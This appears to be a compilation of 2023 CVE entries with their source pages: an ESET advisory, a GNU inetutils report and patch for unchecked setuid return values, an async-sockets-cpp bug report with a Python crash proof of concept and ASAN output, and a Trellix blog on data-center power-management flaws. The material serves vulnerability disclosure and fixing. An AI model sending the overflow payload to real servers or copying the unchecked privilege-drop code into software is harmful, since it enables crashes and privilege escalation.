
The vulnerability potentially allows an attacker to misuse ESET’s file operations during the module update to delete or move files without having proper permissions.

ESET Customer Advisory 2023-0008

August 11, 2023

Severity: Medium

**Summary**

A report of a local privilege escalation vulnerability was submitted to ESET by the Zero Day Initiative (ZDI). The vulnerability potentially allowed an attacker to misuse ESET’s file operations during a module update to delete or move files without having proper permissions to do so.

ESET fixed the issue with HIPS support module 1463, which was distributed automatically to ESET customers along with Detection engine updates. No action stemming from this vulnerability report is required to be taken by our customers.

**Details**

The vulnerability allows a user logged on to the system to perform a privilege escalation attack, misusing the ESET GUI to plant malicious files required for the attack into specific folders and later misusing file operations performed by ESET’s updater component to possibly delete or move any arbitrary file.

To the best of our knowledge, there are no existing exploits that take advantage of this vulnerability in the wild.

The CVE ID reserved for this vulnerability is CVE-2023-3160, with the following CVSS v3.1 score and vector:

7.8: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**Solution**

ESET released an update with HIPS support module 1463 to patch this vulnerability in already installed products, which was distributed automatically. The distribution of the module update started on June 26 for pre-release users, followed by batches for general public users from June 28, with a full release on July 5. See the instructions how to check the versions of the modules.

As already installed products are patched by the HIPS support module update, customers with an ESET product installed and regularly updated do not need to take any action stemming from this vulnerability report.

For new installations, we recommend using the latest installers downloaded from www.eset.com or the ESET repository.

**Affected ESET products**

*   ESET NOD32 Antivirus, ESET Internet Security, ESET Smart Security Premium
*   ESET Endpoint Antivirus and ESET Endpoint Security
*   ESET Server Security for Windows Server (File Security), ESET Mail Security for Microsoft Exchange Server, ESET Mail Security for IBM Domino, ESET Security for Microsoft SharePoint Server

**Feedback & Support**

If you have feedback or questions about this issue, contact us using the ESET Security Forum, or via local ESET Technical Support.

**Acknowledgment**

ESET values the principles of coordinated disclosure within the security industry and would like to express our thanks to Trend Micro’s Zero Day Initiative team.

**Version log**

Version 1.0 (August 11, 2023): Initial version of this document

CVE-2023-3160: [CA8466] ESET Customer Advisory: Local privilege escalation vulnerability fixed in ESET security products for Windows

GNU indent 2.2.13 has a heap-based buffer overflow in search_brace in indent.c via a crafted file.

Name

Last modified

Size

Description

Parent Directory

 

\-

 

indent-1.9.1.tar.gz

1994-02-03 03:00

157K

 

indent-1.10.0.tar.gz

1999-05-27 10:34

140K

 

indent-2.1.0.tar.gz

1999-07-04 19:51

179K

 

indent-2.1.1.tar.gz

1999-07-15 08:39

180K

 

indent-2.2.0.tar.gz

1999-07-24 08:40

182K

 

indent-2.2.1.tar.gz

1999-09-25 11:24

187K

 

indent-2.2.2.tar.gz

1999-09-28 11:39

188K

 

indent-2.2.3.tar.gz

1999-10-01 10:33

194K

 

indent-2.2.4.tar.gz

1999-11-04 18:16

193K

 

indent-2.2.5.tar.gz

2000-01-16 10:50

199K

 

indent-2.2.6.tar.gz

2000-11-17 12:52

217K

 

indent-2.2.7.tar.gz

2001-12-18 17:48

408K

 

indent-2.2.8.tar.gz

2002-03-31 08:16

452K

 

indent-2.2.9.tar.gz

2002-12-19 09:36

662K

 

indent-2.2.10.tar.gz

2009-02-15 04:51

686K

 

indent-2.2.10.tar.gz.sig

2009-02-15 04:51

197

 

indent-2.2.11.tar.gz

2018-11-26 15:56

760K

 

indent-2.2.11.tar.gz.sig

2018-11-26 15:56

331

 

indent-2.2.12.tar.gz

2018-09-06 06:58

945K

 

indent-2.2.12.tar.gz.sig

2018-09-06 06:58

331

 

indent-2.2.12.tar.xz

2018-09-06 06:58

606K

 

indent-2.2.12.tar.xz.sig

2018-09-06 06:58

331

 

indent-2.2.13.tar.gz

2023-03-20 14:07

740K

 

indent-2.2.13.tar.gz.sig

2023-03-20 14:07

119

 

indent-2.2.13.tar.xz

2023-03-20 14:10

464K

 

indent-2.2.13.tar.xz.sig

2023-03-20 14:10

119

 

Apache/2.4.29 (Trisquel\_GNU/Linux) Server at ftp.gnu.org Port 443

CVE-2023-40305: Index of /gnu/indent

GNU inetutils through 2.4 may allow privilege escalation because of unchecked return values of set*id() family functions in ftpd, rcp, rlogin, rsh, rshd, and uucpd. This is, for example, relevant if the setuid system call fails when a process is trying to drop privileges before letting an ordinary user control the activities of the process.

Hi,  

Several setuid(), setgid(), seteuid() and setguid() return values are not checked in rlogin/rsh/rshd/uucpd code: 

rlogin.c:

    647   /\* Now change to the real user ID.  We have to be set-user-ID root

    648      to get the privileged port that rcmd () uses.  We now want, however,

    649      to run as the real user who invoked us.  \*/

    650   seteuid (uid);

    651   setuid (uid);

    652 

    653   doit (&osmask);       /\* The old mask will activate SIGURG and SIGUSR1!  \*/

rsh.c:

    274   /\* If no further arguments, must have been called as rlogin. \*/

    275   if (!argv\[index\])

    276     {

    277       if (asrsh)

    278         \*argv = (char \*) "rlogin";

    279       seteuid (getuid ());

    280       setuid (getuid ());

    281       execv (PATH\_RLOGIN, argv);

    282       error (EXIT\_FAILURE, errno, "cannot execute %s", PATH\_RLOGIN);

    283     }

\[...\]

    541         error (0, errno, "setsockopt DEBUG (ignored)");

    542     }

    543 

    544   seteuid (uid);

    545   setuid (uid);

    546 #ifdef HAVE\_SIGACTION

    547   sigemptyset (&sigs);

rshd.c:

   1846   if (\*pwd->pw\_shell == '\\0')

   1847     pwd->pw\_shell = PATH\_BSHELL;

   1848 

   1849   /\* Set the gid, then uid to become the user specified by "locuser" \*/

   1850   setegid ((gid\_t) pwd->pw\_gid);

   1851   setgid ((gid\_t) pwd->pw\_gid);

   1852 #ifdef HAVE\_INITGROUPS

   1853   initgroups (pwd->pw\_name, pwd->pw\_gid);       /\* BSD groups \*/

\[...\]

   1871 #endif /\* WITH\_PAM \*/

   1872 

   1873   setuid ((uid\_t) pwd->pw\_uid);

   1874 

   1875   /\* We'll execute the client's command in the home directory

   1876    \* of locuser. Note, that the chdir must be executed after

   1877    \* setuid(), otherwise it may fail on NFS mounted directories

   1878    \* (root mapped to nobody).

   1879    \*/

   1880   if (chdir (pwd->pw\_dir) < 0)

uucpd.c:

    252   snprintf (Username, sizeof (Username), "USER=%s", user);

    253   snprintf (Logname, sizeof (Logname), "LOGNAME=%s", user);

    254   dologin (pw, sap, salen);

    255   setgid (pw->pw\_gid); <=========

    256 #ifdef HAVE\_INITGROUPS

    257   initgroups (pw->pw\_name, pw->pw\_gid);

    258 #endif

    259   if (chdir (pw->pw\_dir) < 0)

    260     {

    261       fprintf (stderr, "Login incorrect.");

    262       return;

    263     }

    264   setuid (pw->pw\_uid); <=========

    265   execl (uucico\_location, "uucico", NULL);

    266   perror ("uucico server: execl");

There are cases where set\*id() functions can fail, for example multiple calls to the clone() function can cause setuid() to fail when the user process limit is reached.

man 2 setuid():

RETURN VALUE

       On success, zero is returned.  On error, -1 is returned, and errno is set to indicate the error.

       Note: there are cases where setuid() can fail even when the caller is UID 0; it is a grave security error to omit checking for a failure return from setuid().

The above code could be abused in different ways to trigger such failures, potentially remotely in the case of rshd and uucpd.

Here are some example scenarios:

\* rshd: if daemon run as root, privilege escalation is possible as any user logging in after a set\*id() failure would have its session started as root.

\* rlogin: potential local privilege escalation as the binary is setUID root

\* uucpd: potential remote privilege escalation to root for already valid users

I believe the below patch mitigates the issue, let me know if that suits you.

Regards,

\---

Date: Fri, 30 Jun 2023 19:02:45 +0200

Subject: \[PATCH\] rlogin,rsh,rshd,uucpd: fix: check set\*id() return values

Several setuid(), setgid(), seteuid() and setguid() return values

 were not checked in rlogin/rsh/rshd/uucpd code potentially

leading to security issues.

\---

 src/rlogin.c | 11 +++++++++--

 src/rsh.c    | 25 +++++++++++++++++++++----

 src/rshd.c   | 20 +++++++++++++++++---

 src/uucpd.c  | 15 +++++++++++++--

 4 files changed, 60 insertions(+), 11 deletions(-)

diff --git a/src/rlogin.c b/src/rlogin.c

index aa6426f..c543de0 100644

\--- a/src/rlogin.c

+++ b/src/rlogin.c

@@ -647,8 +647,15 @@ try\_connect:

   /\* Now change to the real user ID.  We have to be set-user-ID root

      to get the privileged port that rcmd () uses.  We now want, however,

      to run as the real user who invoked us.  \*/

\-  seteuid (uid);

\-  setuid (uid);

+  if (seteuid (uid) == -1)

+  {

+    error (EXIT\_FAILURE, 0, "Could not drop privileges (seteuid() failed)");

+  }

+

+  if (setuid (uid) == -1)

+  {

+    error (EXIT\_FAILURE, 0, "Could not drop privileges (setuid() failed)");

+  }

   doit (&osmask); /\* The old mask will activate SIGURG and SIGUSR1!  \*/

diff --git a/src/rsh.c b/src/rsh.c

index 2d622ca..6f60667 100644

\--- a/src/rsh.c

+++ b/src/rsh.c

@@ -276,8 +276,17 @@ main (int argc, char \*\*argv)

     {

       if (asrsh)

\*argv = (char \*) "rlogin";

\-      seteuid (getuid ());

\-      setuid (getuid ());

+

+      if (seteuid (getuid ()) == -1)

+      {

+        error (EXIT\_FAILURE, errno, "seteuid() failed");

+      }

+

+      if (setuid (getuid ()) == -1)

+      {

+        error (EXIT\_FAILURE, errno, "setuid() failed");

+      }

+

       execv (PATH\_RLOGIN, argv);

       error (EXIT\_FAILURE, errno, "cannot execute %s", PATH\_RLOGIN);

     }

@@ -541,8 +550,16 @@ try\_connect:

error (0, errno, "setsockopt DEBUG (ignored)");

     }

\-  seteuid (uid);

\-  setuid (uid);

+  if (seteuid (uid) == -1)

+  {

+    error (EXIT\_FAILURE, errno, "seteuid() failed");

+  }

+

+  if (setuid (uid) == -1)

+  {

+    error (EXIT\_FAILURE, errno, "setuid() failed");

+  }

+

 #ifdef HAVE\_SIGACTION

   sigemptyset (&sigs);

   sigaddset (&sigs, SIGINT);

diff --git a/src/rshd.c b/src/rshd.c

index d1c0d0c..707790e 100644

\--- a/src/rshd.c

+++ b/src/rshd.c

@@ -1847,8 +1847,18 @@ doit (int sockfd, struct sockaddr \*fromp, socklen\_t fromlen)

     pwd->pw\_shell = PATH\_BSHELL;

   /\* Set the gid, then uid to become the user specified by "locuser" \*/

\-  setegid ((gid\_t) pwd->pw\_gid);

\-  setgid ((gid\_t) pwd->pw\_gid);

+  if (setegid ((gid\_t) pwd->pw\_gid) == -1)

+  {

+    rshd\_error ("Cannot drop privileges (setegid() failed)\\n");

+    exit (EXIT\_FAILURE);

+  }

+

+  if (setgid ((gid\_t) pwd->pw\_gid) == -1)

+  {

+    rshd\_error ("Cannot drop privileges (setgid() failed)\\n");

+    exit (EXIT\_FAILURE);

+  }

+

 #ifdef HAVE\_INITGROUPS

   initgroups (pwd->pw\_name, pwd->pw\_gid); /\* BSD groups \*/

 #endif

@@ -1870,7 +1880,11 @@ doit (int sockfd, struct sockaddr \*fromp, socklen\_t fromlen)

     }

 #endif /\* WITH\_PAM \*/

\-  setuid ((uid\_t) pwd->pw\_uid);

+  if (setuid ((uid\_t) pwd->pw\_uid) == -1)

+  {

+    rshd\_error ("Cannot drop privileges (setuid() failed)\\n");

+    exit (EXIT\_FAILURE);

+  }

   /\* We'll execute the client's command in the home directory

    \* of locuser. Note, that the chdir must be executed after

diff --git a/src/uucpd.c b/src/uucpd.c

index 107589e..29cfce3 100644

\--- a/src/uucpd.c

+++ b/src/uucpd.c

@@ -252,7 +252,12 @@ doit (struct sockaddr \*sap, socklen\_t salen)

   snprintf (Username, sizeof (Username), "USER=%s", user);

   snprintf (Logname, sizeof (Logname), "LOGNAME=%s", user);

   dologin (pw, sap, salen);

\-  setgid (pw->pw\_gid);

+

+  if (setgid (pw->pw\_gid) == -1)

+  {

+    fprintf (stderr, "setgid() failed");

+    return;

+  }

 #ifdef HAVE\_INITGROUPS

   initgroups (pw->pw\_name, pw->pw\_gid);

 #endif

@@ -261,7 +266,13 @@ doit (struct sockaddr \*sap, socklen\_t salen)

       fprintf (stderr, "Login incorrect.");

       return;

     }

\-  setuid (pw->pw\_uid);

+

+  if (setuid (pw->pw\_uid) == -1)

+  {

+    fprintf (stderr, "setuid() failed");

+    return;

+  }

+

   execl (uucico\_location, "uucico", NULL);

   perror ("uucico server: execl");

 }

\-- 

2.35.1

CVE-2023-40303: setuid/setgid return values not checked in rlogin, rsh, rshd and uucpd

Harman Infotainment 20190525031613 and later allows command injection via unauthenticated RPC with a D-Bus connection object.

CVE-2023-40293: Dude, It’s my Car: How to develop intimacy with your car !

libboron in Boron 2.0.8 has a heap-based buffer overflow in ur_strInitUtf8 at string.c.

CVE-2023-40295: Heap Overflows in Libboron v2.0.8 · Issue #3 · 0branch/boron

async-sockets-cpp through 0.3.1 has a stack-based buffer overflow in ReceiveFrom and Receive in udpsocket.hpp when processing malformed UDP packets.

Hi!

It appears that async-sockets-cpp (through 0.3.1) contains a remote buffer overflow vulnerability in static void ReceiveFrom(UDPSocket\* udpSocket) at udpsocket.hpp, around lines 160-167. The buffer overflow affects all corresponding UDP servers. The remote buffer overflow can be triggered by connecting to a UDP socket and sending a large buffer of bytes (similar to it's TCP counterpart ).

while ((messageLength = recvfrom(udpSocket->sock, tempBuffer, BUFFER\_SIZE, 0, (sockaddr\* )&hostAddr, &hostAddrSize)) != -1)

{

tempBuffer\[messageLength\] = '\\0';

if (udpSocket->onMessageReceived)

udpSocket->onMessageReceived(std::string(tempBuffer, messageLength), ipToString(hostAddr), ntohs(hostAddr.sin\_port));

if (udpSocket->onRawMessageReceived)

udpSocket->onRawMessageReceived(tempBuffer, messageLength, ipToString(hostAddr), ntohs(hostAddr.sin\_port));

To confirm the issue, I first compiled the example UDP server from the async-sockets-cpp/examples folder with debug symbols and address sanitizer:

**Makefile**

    CC		:= g++
    CFLAGS	:= --std=c++11 -Wall -Wextra -Werror=conversion -fsanitize=address -g
    LIBS	:= -lpthread -fsanitize=address
    INC		:= ../async-sockets/include
    RM		:= rm
    
    .PHONY: all clean
    
    all: tcp-client tcp-server udp-client udp-server
    
    tcp-client: tcp-client.cpp $(INC)/tcpsocket.hpp
    	$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
    
    tcp-server: tcp-server.cpp $(INC)/tcpserver.hpp
    	$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
    
    udp-client: udp-client.cpp $(INC)/udpsocket.hpp
    	$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
    
    udp-server: udp-server.cpp $(INC)/udpserver.hpp
    	$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
    
    clean:
    	$(RM) tcp-client
    	$(RM) tcp-server
    	$(RM) udp-client
    	$(RM) udp-server
    

**Compilation**

Once the server was compiled, I executed the udp-server on port 8888:

I then created a python3 script to connect to the udp-server and send a large packet with around 4096 (or larger) bytes of content:

    import socket
    
    host = "localhost"
    port = 8888                   # The same port as used by the server
    buf = b'A'*10000               # Overflow happens at 4095 bytes
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect((host, port))
        s.sendall(buf)
        data = s.recv(1024)
        s.close()
        print('Received', repr(data))
    except:
        print("Completed...")
    

Executing the above python3 script will result in the server/thread crashing and producing the following detailed output from address sanitizer showing the location of the stack buffer overflow:

**ASAN Output**

    =================================================================
    ==352142==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f613a200120 at pc 0x55b71fc37288 bp 0x7f613adfdba0 sp 0x7f613adfdb98
    WRITE of size 1 at 0x7f613a200120 thread T1
        #0 0x55b71fc37287 in UDPSocket<(unsigned short)4096>::ReceiveFrom(UDPSocket<(unsigned short)4096>*) ../async-sockets/include/udpsocket.hpp:162
        #1 0x55b71fc3a309 in void std::__invoke_impl<void, void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*>(std::__invoke_other, void (*&&)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:61
        #2 0x55b71fc3a24c in std::__invoke_result<void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*>::type std::__invoke<void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*>(void (*&&)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:96
        #3 0x55b71fc3a1bc in void std::thread::_Invoker<std::tuple<void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*> >::_M_invoke<0ul, 1ul>(std::_Index_tuple<0ul, 1ul>) /usr/include/c++/12/bits/std_thread.h:279
        #4 0x55b71fc3a175 in std::thread::_Invoker<std::tuple<void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*> >::operator()() /usr/include/c++/12/bits/std_thread.h:286
        #5 0x55b71fc3a159 in std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (*)(UDPSocket<(unsigned short)4096>*), UDPSocket<(unsigned short)4096>*> > >::_M_run() /usr/include/c++/12/bits/std_thread.h:231
        #6 0x7f613dedc482  (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc482) (BuildId: 8ce98760d7c54203c5d99ee3bdd9fbca8e275529)
        #7 0x7f613dca63eb in start_thread nptl/pthread_create.c:444
        #8 0x7f613dd26a1b in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
    
    Address 0x7f613a200120 is located in stack of thread T1 at offset 4384 in frame
        #0 0x55b71fc3712e in UDPSocket<(unsigned short)4096>::ReceiveFrom(UDPSocket<(unsigned short)4096>*) ../async-sockets/include/udpsocket.hpp:152
    
      This frame has 7 object(s):
        [32, 33) '<unknown>'
        [48, 52) 'hostAddrSize' (line 155)
        [64, 80) 'hostAddr' (line 154)
        [96, 128) '<unknown>'
        [160, 192) '<unknown>'
        [224, 256) '<unknown>'
        [288, 4384) 'tempBuffer' (line 157) <== Memory access at offset 4384 overflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    Thread T1 created by T0 here:
        #0 0x7f613e247c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
        #1 0x7f613dedc558 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc558) (BuildId: 8ce98760d7c54203c5d99ee3bdd9fbca8e275529)
        #2 0x55b71fc35e83 in UDPSocket<(unsigned short)4096>::UDPSocket(bool, std::function<void (int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)>, int) ../async-sockets/include/udpsocket.hpp:23
        #3 0x55b71fc35792 in UDPServer<(unsigned short)4096>::UDPServer() ../async-sockets/include/udpserver.hpp:7
        #4 0x55b71fc338c6 in main /home/kali/projects/fuzzing/async-sockets-cpp/examples/udp-server.cpp:9
        #5 0x7f613dc456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    
    SUMMARY: AddressSanitizer: stack-buffer-overflow ../async-sockets/include/udpsocket.hpp:162 in UDPSocket<(unsigned short)4096>::ReceiveFrom(UDPSocket<(unsigned short)4096>*)
    Shadow bytes around the buggy address:
      0x7f613a1ffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f613a1fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f613a1fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f613a200000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f613a200080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x7f613a200100: 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
      0x7f613a200180: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f613a200200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f613a200280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f613a200300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x7f613a200380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==352142==ABORTING
    
    
    

Similar to #31 (comment), a possible fix could be to check the size of messageLength before copying data to the buffer.

Thanks!

CVE-2023-40296: Stack Buffer Overflow in static void ReceiveFrom(UDPSocket* udpSocket) at udpsocket.hpp · Issue #32 · eminfedar/async-sockets-cpp

The Dataprobe iBoot PDU running firmware version 1.43.03312023 or earlier uses hard-coded credentials for all interactions with the internal Postgres database.A malicious agent with the ability to execute operating system commands on the device can leverage this vulnerability to read, modify, or delete arbitrary database records.

**Summary**

In a modern working environment where many employees are working from home or in hybrid office environments, businesses small and large have turned to digital transformation and cloud services to support new working habits and operational efficiencies. Connected devices in the home are more prevalent than ever, and consumers increasingly rely on their smartphones and internet services for daily tasks. An uncountable number of government organizations and services similarly rely on online tools and cloud applications to support their daily operations.

The world has become increasingly reliant on data and the data center infrastructure that supports the foundation of our internet services. From small server houses businesses have on-premises to hyperscale colocation data centers operated by Amazon, Google, Microsoft, or another major enterprise, today's data centers are a critical attack vector for cybercriminals wanting to spread malware, blackmail businesses for ransom, conduct corporate or foreign espionage, or simply shut down large swaths of the Internet.

This blog is the first of a multi-part series focused on vulnerability discovery in data centers, investigating several widely used management platforms and technologies present in data centers. Thus, this research involves several vendors with whom our team has coordinated to disclose and patch these vulnerabilities to protect this incredibly critical industry. For this first blog, our team specifically looked into power management and supply technologies commonly found in data centers.

**Introduction**

It's clear that protecting the data center infrastructure that supports so many functions of our society is paramount. The Trellix Advanced Research Center regularly identifies critical vulnerabilities to expose and reduce attack surfaces. In alignment with the recently announced 2023 National Cybersecurity Strategy, our team investigated several data center software platforms and hardware technologies to help protect national critical infrastructures and drive security resilience across the digital ecosystem.

During this practice, we found four vulnerabilities in CyberPower's PowerPanel Enterprise Data Center Infrastructure Management (DCIM) platform and five vulnerabilities in Dataprobe's iBoot Power Distribution Unit (PDU). An attacker could chain these vulnerabilities together to gain full access to these systems – which alone could be leveraged to commit substantial damage. Furthermore, both products are vulnerable to remote code injection that could be leveraged to create a backdoor or an entry point to the broader network of connected data center devices and enterprise systems.

CyberPower is a leading vendor of data center equipment and infrastructure solutions, specializing in power protection technologies and power management systems. Their PowerPanel Enterprise DCIM platform allows IT teams to manage, configure, and monitor the infrastructure within a data center through the cloud, serving as a single source of information and control for all devices. These platforms are commonly used by companies managing on-premise server deployments to larger, co-located data centers – like those from major cloud providers AWS, Google Cloud, Microsoft Azure, etc.

According to Sunbird Software, 83% of enterprise data center operators have increased their rack densities in the last three years – and thus are looking to tools like DCIM platforms to help manage their infrastructure, prevent outages, and maintain uptime. This is reflected in the market predictions. The DCIM market reached $2 billion in 2022 and is projected to continue growing at a CAGR of 20%, reaching $20 billion in 2032. Thus, DCIM services like CyberPowers are adopted widely across the entire industry.

Dataprobe manufactures power management products that assist businesses in monitoring and controlling their infrastructure. Their iBoot PDU allows administrators to remotely manage the power supply to their devices and equipment via a simple and easy-to-use web application. Dataprobe has thousands of devices across numerous industries – from deployments in data centers, travel and transportation infrastructure, financial institutions, smart city IoT installations, and government agencies.

The iBoot PDU specifically has been in service since 2016, with thousands of these PDUs utilized for tasks including digital signage, telecommunications, remote site management, and much more. Back in 2021, exposure management company Censys found that over 750 iBoot PDUs were reachable over the internet. As this search didn’t include devices managed by a cloud service behind a firewall, the actual number of internet accessible iBoot PDUs was likely much higher.

The team found four major vulnerabilities in CyberPower's PowerPanel Enterprise and five critical vulnerabilities in the Dataprobe's iBoot PDU:

*   **CyberPower PowerPanel Enterprise:**
    *   CVE-2023-3264: Use of Hard-coded Credentials (CVSS 6.7)
    *   CVE-2023-3265: Improper Neutralization of Escape, Meta, or Control Sequences (Auth Bypass; CVSS 7.2)
    *   CVE-2023-3266: Improperly Implemented Security Check for Standard (Auth Bypass; CVSS 7.5)
    *   CVE-2023-3267: OS Command Injection (Authenticated RCE; CVSS 7.5)
*   **Dataprobe iBoot PDU:**
    *   CVE-2023-3259: Deserialization of Untrusted Data (Auth Bypass; CVSS 9.8)
    *   CVE-2023-3260: OS Command Injection (Authenticated RCE; CVSS 7.2)
    *   CVE-2023-3261: Buffer Overflow (DOS; CVSS 7.5)
    *   CVE-2023-3262: Use of Hard-coded Credentials (CVSS 6.7)
    *   CVE-2023-3263: Authentication Bypass by Alternate Name (Auth Bypass; CVSS 7.5)

**Impact**

In a world growing ever-reliant on massive amounts of data for business operations, critical infrastructure, and basic internet activities, major vulnerabilities in the data centers making all this possible is a large risk to daily society. Vulnerabilities that enable cybercriminals to slowly infect entire data center deployments to steal key data and information or utilize compromised resources to initiate attacks at a global scale could be leveraged for massive damage. The threats and risks to both consumers and enterprises is high.

Below are some examples of the level of damage a malicious threat actor could do when utilizing exploits of this level across numerous data centers:

*   **Power Off:**Through access to these power management systems, even the simple act of cutting power to devices connected to a PDU would be significant. Websites, business applications, consumer technologies, and critical infrastructure deployments all rely on the availability of these data centers to operate. A threat actor could cause significant disruption for days at a time with the simple "flip of a switch" in dozens of compromised data centers.
    *   Furthermore, manipulation of the power management can be used to damage the hardware devices themselves – making them far less effective if not inoperable. Data from the Uptime Institute shows that the costs of data center outages are on the rise. Today, 25% of outages cost more than $1 million, and 45% cost between $100,000 and $1 million. This translates to thousands or tens of thousands of dollars lost for every minute an organization’s data center doesn’t have power.
*   **Malware at Scale:** Using these platforms to create a backdoor on the data center equipment provides bad actors a foothold to compromise a huge number of systems and devices. Some data centers host thousands of servers and connect to hundreds of various business applications. Malicious attackers could slowly compromise both the data center and the business networks connected to it.
    *   Malware across such a huge scale of devices could be leveraged for massive ransomware, DDoS, or Wiper attacks – potentially even more widespread than those of StuxNet, Mirai BotNet, or WannaCry.
*   **Digital Espionage:** In addition to the previously mentioned malicious activities one would expect of cybercriminals, APTs and nation-state backed threat actors could leverage these exploits to conduct cyberespionage attacks.
    *   The 2018 concerns of spy chips in data centers would become a digital reality if spyware installed in data centers worldwide were to be leveraged for cyber espionage to inform foreign nation-states of sensitive information.

As discussed in the June edition of Trellix's CyberThreat Report, cloud infrastructure attacks continue to rise following the digital transformation trend many organizations adopted to support work-from-home or hybrid workforces during the COVID-19 pandemic. As more and more businesses seek to expand their on-premises deployments or turn to a more affordable and scalable cloud infrastructure from Amazon, Microsoft, Google, and others, this has created a growing attack vector for threat actors.

Though attackers are also escalating the usage of more sophisticated attacks on data center infrastructure, like MFA attacks, proxies, and API execution, the most prominent attack technique continues to be through valid accounts, which is more than double the 2nd most commonly used attack vector. The risk of "rogue access" to organizations is very real, as cybercriminals utilize legitimate account logins – whether bought and sold on the dark web or acquired through exploits like those discussed in this research – to enterprise platforms and business websites to infiltrate and conduct attacks.

Furthermore, analysis of the "Leak Site" data of many prominent cybercriminal groups indicates that small and medium sized businesses tend to be the primary victims of their attacks. However, even these smaller organizations offer threat actors high "value" in compromising their data center infrastructure. A vulnerability on a single data center management platform or device can quickly lead to a complete compromise of the internal network and give threat actors a foothold to attack any connected cloud infrastructure further.

We are fortunate enough to have caught these vulnerabilities early – without having discovered any malicious uses in the wild of these exploits. However, data centers are attractive targets for cybercriminals due to the number of attack vectors and the ability to scale their attacks once a foothold has been achieved. Thus, we consider it imperative to continue this research and coordinate with data center software and hardware vendors to address and disclose potential threats to such a core part of our IT infrastructure.

**Demo Video**

Our team disclosed more details of how these vulnerabilities were discovered and could have been exploited in our presentation at DEFCON at 2pm Pacific Time on Saturday, August 12.

**Recommendation**

As of publication of this blog, both Dataprobe and CyberPower have released fixes for these vulnerabilities with version 2.6.9 of their PowerPanel Enterprise software and the latest 1.44.08042023 version of the Dataprobe iBoot PDU firmware. We strongly urge all potentially impacted customers to download and install these patches immediately.

In addition to the official patches, we would suggest taking additional steps for any devices or platforms potentially exposed to 0-day exploitation by these vulnerable products:

*   Ensure that your PowerPanel Enterprise or iBoot PDU are not exposed to the wider Internet. Each should be reachable only from within your organization's secure intranet.

*   In the case of the iBoot PDU, we suggest disabling remote access via Dataprobe's cloud service as an added precaution.

*   Modify the passwords associated with all user accounts and revoke any sensitive information stored on both appliances that may have been leaked.
*   Update to the latest version of PowerPanel Enterprise or install the latest firmware for the iBoot PDU and subscribe to the relevant vendor's security update notifications.

*   Although this measure in and of itself will not reduce risk of attack via the vulnerabilities described in this document, updating all your software to the latest and greatest version promptly is the best practice for ensuring your window of exposure is as short as possible in this and future cases.

*   Finally, Trellix Customers are also protected with endpoint (EDR), and network (NX, Helix) detections of these vulnerabilities.

**Conclusion**

Thanks to the explosion of IoT devices and AI applications in the past few decades, connected technologies today are a part of nearly every aspect of daily life – from the home to the enterprise. The services and capabilities enabled through the latest internet technologies greatly influence societal and cultural changes, as was experienced throughout the COVID-19 pandemic.

With how incredibly significant these services are for consumers and businesses, it's clear that cybersecurity for the data centers making them possible is essential. It isn't wrong to say today that proper cybersecurity posture and defenses for data centers are essential to the basic functioning of our economy and society. This level of importance makes them a target for threat actors looking to implement attacks on nation-states, ransom critical infrastructure, or conduct espionage for foreign nations.

Thus, the devices and software platforms that service data centers must remain secure and updated, and the vendors producing this hardware and software have processes in place for quick and efficient response following vulnerability disclosures.

We applaud both CyberPower and Dataprobe for their willingness and expediency in working with our team following the discovery of these vulnerabilities. Their responsiveness in creating protections for these vulnerabilities and releasing a patch for their customers shows true organizational maturity and drive to improve security across the entire industry.

